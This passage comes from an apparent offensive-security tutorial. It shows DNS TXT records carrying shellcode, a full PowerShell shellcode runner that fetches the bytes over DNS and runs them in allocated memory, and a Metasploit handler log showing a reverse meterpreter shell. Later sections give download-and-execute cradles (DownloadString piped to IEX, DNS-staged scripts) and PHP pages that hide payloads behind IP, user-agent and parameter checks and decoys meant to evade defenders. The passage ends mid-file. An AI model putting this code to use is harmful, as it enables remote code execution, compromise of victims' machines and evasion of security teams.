txt-record=11.microsoft.com,"9,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41"
txt-record=12.microsoft.com,",0x89,0xda,0xff,0xd5"
txt-record=microsoft.com,"12"

Next we’ll take a look at how we’ll implement this into a shellcode runner. We have to be mindful that when we use these cradles, the resulting payload will be seen as a string. In this situation, our payload needs to be treated as a byte array. To make this conversion, we simply need to retrieve the payload, join the records together, then split them by a comma, which will then be stored in the $buf variable which is casted as a byte array.

[Byte[]]$buf = $((1..$((Resolve-DnsName -Name microsoft.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.microsoft.com') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '') -split ','

Putting this all together, our final payload will look like this:

function LookupFunc {
    Param (
        $moduleName, 
        $functionName
    )
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp = @()
    $assem.GetMethods() | ForEach-Object { If ($_.Name -eq "GetProcAddress") { $tmp += $_ } }
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
[Byte[]]$buf = $((1..$((Resolve-DnsName -Name microsoft.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.microsoft.com') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '') -split ','
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

To test this payload, we’ll start up our multi/handler listener on our Kali Linux machine.

┌──(kali㉿kali)-[~]
└─$ msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.0.21; set LPORT 443; set EXITFUNC thread; exploit"

After we execute our runner, we'll return to our terminal running Dnsmasq so we can see the DNS requests being processed.

┌──(kali㉿kali)-[~]
└─$ sudo dnsmasq -C /etc/dnsmasq.conf -d
dnsmasq: started, version 2.86 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrack ipset auth cryptohash DNSSEC loop-detect inotify dumpfile
dnsmasq: warning: no upstream servers configured
dnsmasq: cleared cache
dnsmasq: query[TXT] microsoft.com from 192.168.0.26
dnsmasq: config microsoft.com is <TXT>
dnsmasq: query[TXT] 1.microsoft.com from 192.168.0.26
dnsmasq: config 1.microsoft.com is <TXT>
dnsmasq: query[TXT] 2.microsoft.com from 192.168.0.26
dnsmasq: config 2.microsoft.com is <TXT>
dnsmasq: query[TXT] 3.microsoft.com from 192.168.0.26
dnsmasq: config 3.microsoft.com is <TXT>
dnsmasq: query[TXT] 4.microsoft.com from 192.168.0.26
dnsmasq: config 4.microsoft.com is <TXT>
dnsmasq: query[TXT] 5.microsoft.com from 192.168.0.26
dnsmasq: config 5.microsoft.com is <TXT>
dnsmasq: query[TXT] 6.microsoft.com from 192.168.0.26
dnsmasq: config 6.microsoft.com is <TXT>
dnsmasq: query[TXT] 7.microsoft.com from 192.168.0.26
dnsmasq: config 7.microsoft.com is <TXT>
dnsmasq: query[TXT] 8.microsoft.com from 192.168.0.26
dnsmasq: config 8.microsoft.com is <TXT>
dnsmasq: query[TXT] 9.microsoft.com from 192.168.0.26
dnsmasq: config 9.microsoft.com is <TXT>
dnsmasq: query[TXT] 10.microsoft.com from 192.168.0.26
dnsmasq: config 10.microsoft.com is <TXT>
dnsmasq: query[TXT] 11.microsoft.com from 192.168.0.26
dnsmasq: config 11.microsoft.com is <TXT>
dnsmasq: query[TXT] 12.microsoft.com from 192.168.0.26
dnsmasq: config 12.microsoft.com is <TXT>

We'll also see that our listener has successfully established a reverse meterpreter shell.

┌──(kali㉿kali)-[~]
└─$ msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 192.168.0.21; set LPORT 443; set EXITFUNC thread; exploit"
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_https
LHOST => 192.168.0.21
LPORT => 443
EXITFUNC => thread
[*] Started HTTPS reverse handler on https://192.168.0.21:443
[!] https://192.168.0.21:443 handling request from 192.168.0.26; (UUID: l9few58x) Without a database connected that payload UUID tracking will not work!
[*] https://192.168.0.21:443 handling request from 192.168.0.26; (UUID: l9few58x) Staging x64 payload (201820 bytes) …
[!] https://192.168.0.21:443 handling request from 192.168.0.26; (UUID: l9few58x) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (192.168.0.21:443 -> 127.0.0.1) at 2022-08-30 15:13:36 -0400
meterpreter >

We have successfully used a DNS server on our Kali Linux machine to retrieve shellcode that we executed through the shellcode runner, great work.

Staged Scripts

One of the more popular methods to download and execute powershell scripts hands down is the DownloadString method from the System.Net.WebClient class, for example, (New-Object System.Net.WebClient).DownloadString('http://192.168.0.21/run.ps1') | IEX. This cradle downloads the content of a remote file as a string and passes it directly to Invoke-Expression for execution.

This technique has been very successful and is a concept we can replicate using the techniques we've learned with DNS, but with a little extra work. As we learned from the Chunked Payloads section, we need to split any string, or line in this case, that exceeds 255 characters. This is trivial to do, but we have to be careful where our scripts are split without breaking them.

In order to successfully split a line within a script without breaking the logic, we need to place a backtick `, or word-wrap operator, anywhere within an empty space. Let's put this into perspective a bit with the following command. This command will simply retrieve back the service with the display name of "Windows Time" as follows.

PS C:\> Get-Service | Where-Object {$_.DisplayName -eq "Windows Time"}

Status   Name               DisplayName
------   ----               -----------
Running  W32Time            Windows Time

We could split this command into two lines by adding the backtick within an available space, and then entering a new line immediately after.

PS C:\> Get-Service | Where-Object {$_.DisplayName -eq `
"Windows Time"}

Status   Name               DisplayName                           
------   ----               -----------                           
Running  W32Time            Windows Time

The problem that you may run into though is that using a backtick isn't entirely forgiving. For example, you could use it in the middle of a string, but you cannot place it in the middle of a command without causing issues.

PS C:\> Get-Service | Where-`
Object {$_.DisplayName -eq "Windows Time"}
Where- : The term 'Where-' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:15
+ Get-Service | Where-`
+               ~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (Where-:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
 
Object : The term 'Object' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:2 char:1
+ Object {$_.DisplayName -eq "Windows Time"}
+ ~~~~~~
    + CategoryInfo          : ObjectNotFound: (Object:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

Because of this it would be tricky to automate the process of formatting your code to split long lines safely, but it is still possible. To meet in the middle, we'll use a new helper function, Find-LongLines, to identify the lines in our script that are too long. To demonstrate this, we'll use the shellcode runner we utilized earlier and run our helper function against it.

PS C:\> Find-LongLines -Path C:\users\administrator\desktop\runner.ps1 -Length 255

[*] Line 27 >> $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)

After running our helper function, we see that line 27 has been flagged. We'll go back to our script and add a backtick in a free space on this line. Our modified payload now looks like this, paying careful attention to the line containing the $hThread variable.

function LookupFunc {
    Param (
        $moduleName, 
        $functionName
    )
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp = @()
    $assem.GetMethods() | ForEach-Object { If ($_.Name -eq 'GetProcAddress') { $tmp += $_ } }
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
[Byte[]]$buf = $((1..$((Resolve-DnsName -Name microsoft.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.microsoft.com') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '') -split ','
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),`
 (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

We'll save this file and run our helper function against it again to confirm we have no lines containing more than 255 characters.

PS C:\> Find-LongLines -Path C:\users\administrator\desktop\runner.ps1 -Length 255
[*] This script doesn't contain any lines exceeding 255 characters

Now that we have fixed the long line, we can now pass our script to another helper function called Format-ScriptToTxtRecord, which is similar to Format-StringToTxtRecord except it'll take in a script and parse it line-by-line as is and convert it to a TXT record config we can copy into our Dnsmasq config file.

PS C:\> Format-ScriptToTxtRecord -Path C:\users\administrator\desktop\runner.ps1 -Name lenovo.com
txt-record=1.lenovo.com,"function LookupFunc {"
txt-record=2.lenovo.com,"    Param ("
txt-record=3.lenovo.com,"        $moduleName, "
txt-record=4.lenovo.com,"        $functionName"
txt-record=5.lenovo.com,"    )"
txt-record=6.lenovo.com,"    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')"
txt-record=7.lenovo.com,"    $tmp = @()"
txt-record=8.lenovo.com,"    $assem.GetMethods() | ForEach-Object { If ($_.Name -eq 'GetProcAddress') { $tmp += $_ } }"
txt-record=9.lenovo.com,"    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))"
txt-record=10.lenovo.com,"}"
txt-record=11.lenovo.com,""
txt-record=12.lenovo.com,"function getDelegateType {"
txt-record=13.lenovo.com,"    Param ("
txt-record=14.lenovo.com,"        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,"
txt-record=15.lenovo.com,"        [Parameter(Position = 1)] [Type] $delType = [Void]"
txt-record=16.lenovo.com,"    )"
txt-record=17.lenovo.com,"    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run)."
txt-record=18.lenovo.com,"    DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])"
txt-record=19.lenovo.com,"    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')"
txt-record=20.lenovo.com,"    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')"
txt-record=21.lenovo.com,"    return $type.CreateType()"
txt-record=22.lenovo.com,"}"
txt-record=23.lenovo.com,""
txt-record=24.lenovo.com,"$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)"
txt-record=25.lenovo.com,"[Byte[]]$buf = $((1..$((Resolve-DnsName -Name microsoft.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.microsoft.com') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '') -split ','"
txt-record=26.lenovo.com,"[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)"
txt-record=27.lenovo.com,"$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),`"
txt-record=28.lenovo.com," (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)"
txt-record=29.lenovo.com,"[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF) "
txt-record=lenovo.com,"29"

Now we'll restart our DNS server, our Metasploit listener and execute the following download cradle to retrieve and execute our shellcode runner.

PS C:\> Invoke-Expression $((1..$((Resolve-DnsName -Name lenovo.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.lenovo.com') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) | Out-String)

Once our command is executed, we see the DNS requests as well as another successful reverse meterpreter shell.

Keep in mind that not only was there a series of DNS lookups to retrieve our script, but our payload includes its own DNS lookup to pull down our shellcode as well as we didn't embed it within our original payload.

Wrapping Up

In this post we worked through the process of spinning up a DNS server on Kali Linux and learned how we can use TXT records to stage payloads that we can retrieve through DNS lookups. While these methods were relatively straight forward, you can build upon these techniques, adding complexity and obscurity to make it something of your own. Keep your eyes open for an upcoming post, as we'll continue this discussion, except we'll take advantage of PHP to deliver these same payloads with an added twist.

PHP Web Pages

  • Serving PHP Code
  • Conditional Access
  • Staged Listener Address
  • Staged Shellcode
  • Staged Script

One of the more commonly utilized services on Kali Linux is the Apache HTTP Server. One workflow you'll typically find penetration testers use this service for is to host different types of files they can pull down when needed, such as scripts and binaries. While this is still an effective workflow, these files are often left exposed and if discovered by a blue team they could be easily obtained and reverse engineered to your disadvantage.

To help mitigate the likelihood of this happening, we'll take advantage of the interoperability with Apache/PHP on our Kali Linux system. This will allow us to build a web page that can host our payloads that are hidden behind a set of conditions that must be met in order to retrieve them.

Serving PHP Code

The process to have a functioning PHP page hosted on Kali Linux is a trivial process as the PHP packages are already installed. We will start things off with a basic proof of concept by creating the file /etc/var/www/html/payload.php with the following content:

With our file created, our next step is to see if Apache is running our system.

We can see here that Apache is inactive, so we'll start the service and run the command again to verify that it's now up and running.

Now that we have started up our service, our next step is to verify that our web server is properly executing PHP code. To facilitate this test we'll use the curl command from our terminal.

Everything appears to be working properly and as you can see, it was a very simple process. It's important for us to note that when we attempt to view the source code for this page from a browser, we will only see the text Hello, there. in lieu of the entire code from our PHP file.

This is important to keep in mind because PHP is a server-side programming language. This means that our PHP code is executed on the server which then presents the generated content to the requesting client. This allows us to keep our delivery logic, and other payloads we have embedded in the PHP file hidden from unintended view. Now we'll move into introducing targeted logic in our PHP code.

Conditional Access

When we stage our payloads we want them to be accessible when we want to retrieve them from our download cradles, however, we don't want them visible to just anyone that happens to discover our web server and decides to poke around. To add a level of obscurity, we will introduce conditions that must be met in order to retrieve our payloads.

In particular we will illustrate three different techniques that you can implement to control when your payload is to be made visible. Each of these techniques leverage information that's normally transmitted between a web client and web server during a simple GET request.

The first method we'll introduce is restricting access to our payload based on the IP address of the web client that our web page is able to extract from the GET request. Let's take a look at how to accomplish this. Our code consists of a function called callerIp that takes in a single parameter called $caller which we'll use to pass the value of the IP address that we want to find.

Our function then looks to see if an IP address has been stored in one of three values within the global variable _$SERVER, which is automatically set when a client communicates with our page. The first two values, HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR are spoofable headers that are typically set when the request comes from a proxy server, which we are including here intentionally. The third value, REMOTE_ADDR is the address retrieved during the TCP handshake between the client and server.

If the IP address we pass into the function matches the address found in any of the three values within the _$SERVER global variable, then the function will return TRUE.

function callerIp($caller) {
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if (filter_var($client, FILTER_VALIDATE_IP)) {
        $ip = $client;
    } elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
        $ip = $forward;
    } else {
        $ip = $remote;
    }

    if ($caller === $ip) {
        return TRUE;
    } else {
        return FALSE;
    }
}

We will call this function and store the output in a variable called $ip. We will then use an if statement to check the value of this variable. If the statement resolves to TRUE, then our page will present our hidden content.

$ip = callerIp('192.168.0.26');

if ($ip) {
    echo "I see you.";
}

Keep in mind that the IP address doesn't necessarily need to be legit, we just want to be able to retrieve any IP address that can be discovered in the headers provided previously. If we don't pass a spoofed IP address in the first two headers, then it'll simply retrieve the IP address of the client that interacted with the server.

We'll save our complete code into our payload.php file.

<?php
function callerIp($caller) {
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if (filter_var($client, FILTER_VALIDATE_IP)) {
        $ip = $client;
    } elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
        $ip = $forward;
    } else {
        $ip = $remote;
    }

    if ($caller === $ip) {
        return TRUE;
    } else {
        return FALSE;
    }
}

$ip = callerIp('192.168.0.26');

if ($ip) {
    echo "I see you.";
}
?>

Next we will use curl again to interact with our PHP page to see what message we get in return.

In this case the server sees our IP address as the loopback address due to the URL we are using, so we will not see our hidden message. We'll circumvent this by re-using curl again except we'll spoof the x-forwarded-for header to ensure that we pass the required condition.

With this slight modification to our web call, we can now retrieve our hidden payload.

The next technique we'll introduce will be around the user-agent, which is also stored in the _$Server global variable. The user-agent is a string that contains information about the agent or client that is interacting with a web page, such as your browser version.

Let's look at a basic demonstration on the types of user-agents that can be seen with the following example.

<?php
$agent = $_SERVER['HTTP_USER_AGENT'];
echo "You're using $agent";
?>

In this example, we'll retrieve the value of the user-agent and store it within a variable that will be then written back to the requesting client. We will save this code to our payload.php file and interact with our web page using curl, wget and Firefox.

The first two terminal commands produce different user-agents as expected.

We also see a different user-agent when we browse to our page using FireFox.

The idea here is to understand that there are many different types of user-agents circulating around the internet. While this value is automatically sent by a client, we can also manipulate this value to any value we desire.

With a better understanding of user-agents, let's see how we can control access to our page using the user-agent. Our new code consists of a function called callerAgent that takes in a single parameter called $caller which we'll use to pass the value of the user-agent that we want to find. The function then looks to see if the user-agent supplied by the client matches the one we supplied to our function. If they match, the function will return TRUE.

function callerAgent($caller) {
    $agent = $_SERVER['HTTP_USER_AGENT'];
    if ($caller === $agent) {
        return TRUE;
    } else {
        return FALSE;
    }
}

We will call this function and store the output in a variable called $agent. We will then use an if statement to check the value of this variable. If the statement resolves to TRUE, then our page will present our hidden content.

$agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0');

if ($agent) {
    echo "I see you.";
}

We'll save our complete code into our payload.php file.

<?php
function callerAgent($caller) {
    $agent = $_SERVER['HTTP_USER_AGENT'];
    if ($caller === $agent) {
        return TRUE;
    } else {
        return FALSE;
    }
}

$agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0');

if ($agent) {
    echo "I see you.";
}
?>

Now we will repeat the same actions taken earlier when discovering the different types of user-agents. We will immediately notice that our terminal commands do not produce any output.

Whereas our browser receives our hidden message as the user-agent sent by the browser matches the specific value we're looking for.

Now we'll change our approach slightly from our victim machine using a PowerShell script, leveraging the WebClient class from the System.Net namespace. Once we instantiate our object, we'll add a hardcoded user-agent to replicate that of our FireFox browser, then we'll communicate with our PHP page using the DownloadString method. Using this method to spoof the user-agent from a PowerShell script, we have revealed our hidden content.

PS C:\> $WC = New-Object System.Net.WebClient
PS C:\> $WC.Headers.Add('user-agent','Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0')
PS C:\> $WC.DownloadString('http://192.168.0.21/payload.php')
I see you.

The final technique we'll introduce involves checking whether or not a parameter was supplied by the client when interacting with our PHP page, which can be done through the URL. Our code consists of a function called callerParam that takes in a single parameter called $caller which we'll use to pass the name of a parameter that we want to find. The function will then look to see if the client has included that parameter by checking if the PHP global variable _$GET contains that parameter through the isset function. If the parameter has been found, regardless of any supplied value assigned to that parameter, including nothing, then the function will return TRUE.

function callerParam($caller) {
    $param = isset($_GET[$caller]);
    if ($param) {
        return TRUE;
    } else {
        return FALSE;
    }
}

We will call this function and store the output in a variable called $param. We will then use an if statement to check the value of this variable. If the statement resolves to TRUE, then our page will present our hidden content.

$param = callerParam('callback');

if ($param) {
    echo "I see you.";
}

Now we'll save our complete code into our payload.php file.

<?php
function callerParam($caller) {
    $param = isset($_GET[$caller]);
    if ($param) {
        return TRUE;
    } else {
        return FALSE;
    }
}

$param = callerParam('callback');

if ($param) {
    echo "I see you.";
}
?>

With our complete code staged, we'll use curl to interact with our page.

As expected, we see nothing, but if we include the parameter callback in our request, we see our hidden message.

While using these techniques on their own can work, we can make it much harder for prying eyes by combining these solutions into one, or any combination thereof. In this scenario, we're going to use all three conditions, except we're going to add another twist.

We are going to change the value of our expected user-agent slightly to look relatively unique at a quick glance, but is unique enough where only its explicit use will receive a dedicated payload. In this case we'll add an extra 0 at the end of the Mozilla/FireFox version numbers. If this value was to be viewed in a web log, it wouldn't be overly obvious that it was fake. The next condition we'll change for some additional obscurity will be requiring a random IP address in our Client-IP header. You may be able to buy yourself some time if you use a valid IP address of another machine simply to cause a level of confusion or curiosity as a distraction.

We'll save our complete code into our payload.php file.

<?php
function callerIp($caller) {
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if (filter_var($client, FILTER_VALIDATE_IP)) {
        $ip = $client;
    } elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
        $ip = $forward;
    } else {
        $ip = $remote;
    }

    if ($caller === $ip) {
        return TRUE;
    } else {
        return FALSE;
    }
}

function callerAgent($caller) {
    $agent = $_SERVER['HTTP_USER_AGENT'];
    if ($caller === $agent) {
        return TRUE;
    } else {
        return FALSE;
    }
}

function callerParam($caller) {
    $param = isset($_GET[$caller]);
    if ($param) {
        return TRUE;
    } else {
        return FALSE;
    }
}

$ip = callerIp('192.168.0.29');
$agent = callerAgent('Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00');
$param = callerParam('session');

if ($ip && $agent && $param) {
    echo "I see you.";
}
?>

We'll save our updated code and connect to our web page from our intended victim machine, except this time we'll be using the PowerShell cmdlet Invoke-WebRequest with our spoofed user-agent and client-ip header.

PS C:\> (Invoke-WebRequest http://192.168.0.21/payload.php?session -Headers @{'Client-IP' = '192.168.0.29'} -UserAgent 'Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00').Content
I see you.

If we browse to the web page from the same machine using the browser, it will not display our hidden message

Now we have a solid set of conditions that must be met to retrieve our staged payloads. Keep in mind that when the conditions are not met, the client will receive a blank page. While this isn't much of a big deal for simple CTFs or smaller internal engagements, you'll likely run into issues if you host this over the internet.

This is largely because if your page has no content and gets scanned by a security provider, it'll be tagged as an uncategorized website, which is typically blocked by organizations to protect against attackers spinning up malicious sites AD-HOC. You can circumvent this if you create some sites with very basic themes that are vivid enough to get categorized.

For the time being, we'll use a simple proof of concept to demonstrate the use of decoy content. For this decoy, we'll include a new function called decoy that will print a message that has been base64 encoded. Our function also checks if the user-agent is a common terminal client. If it isn't, then it'll add a HTML tag to handle some formatting requirements.

<?php
function decoy() {
    $decoy = 'Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uDQouLi4uLi4uIyMuLi4uLiMjLi4uLi4jIy4uLi4uLi4uLi4uLi4NCi4uLi4uLi4uLiMjLi4uLi4jIy4uLi4uIyMuLi4uLi4uLi4uLg0KLi4uLi4uLiMjLi4uLi4jIy4uLi4jIy4uLi4uLi4uLi4uLi4uDQouLi4uLi4uIyMuLi4uLiMjLi4uLiMjLi4uLi4uLi4uLi4uLi4NCi4uLi4uLi4uLiMjLi4uLi4jIy4uLiMjLi4uLi4uLi4uLi4uLg0KLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uDQouLi4uLi4jIyMjIyMjIyMjIyMjIyMjIyMjIy4uLi4uLi4uLi4NCi4uLi4uLiMjLi4uLi4uLi4uLi4uLi4uLiMjIyMjIy4uLi4uLg0KLi4uLi4uIyMuLi5UcnkuSGFyZGVyLi4uIyMuLiMjLi4uLi4uDQouLi4uLi4jIy4uLi4uLi4uLi4uLi4uLi4jIy4uIyMuLi4uLi4NCi4uLi4uLiMjLi4uLi4uLi4uLi4uLi4uLiMjIyMjIy4uLi4uLg0KLi4uLi4uLi4jIy4uLi4uLi4uLi4uLiMjLi4uLi4uLi4uLi4uDQouLi4uIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjLi4uLi4uLi4NCi4uLi4jIy4uLi4uLi4uLi4uLi4uLi4uLi4uIyMuLi4uLi4uLg0KLi4uLi4uIyMjIyMjIyMjIyMjIyMjIyMjIyMuLi4uLi4uLi4uDQouLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4=';
    $agent = $_SERVER['HTTP_USER_AGENT'];

    if(preg_match('((?i)(curl|wget|powershell))', $agent) === 1) {
        echo base64_decode($decoy);
    } else {
        echo '<pre>' . base64_decode($decoy) . '</pre>';
    }
}
?>

We'll save our complete code into our payload.php file.

<?php
function callerIp($caller) {
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if (filter_var($client, FILTER_VALIDATE_IP)) {
        $ip = $client;
    } elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
        $ip = $forward;
    } else {
        $ip = $remote;
    }

    if ($caller === $ip) {
        return TRUE;
    } else {
        return FALSE;
    }
}

function callerAgent($caller) {
    $agent = $_SERVER['HTTP_USER_AGENT'];
    if ($caller === $agent) {
        return TRUE;
    } else {
        return FALSE;
    }
}

function callerParam($caller) {
    $param = isset($_GET[$caller]);
    if ($param) {
        return TRUE;
    } else {
        return FALSE;
    }
}

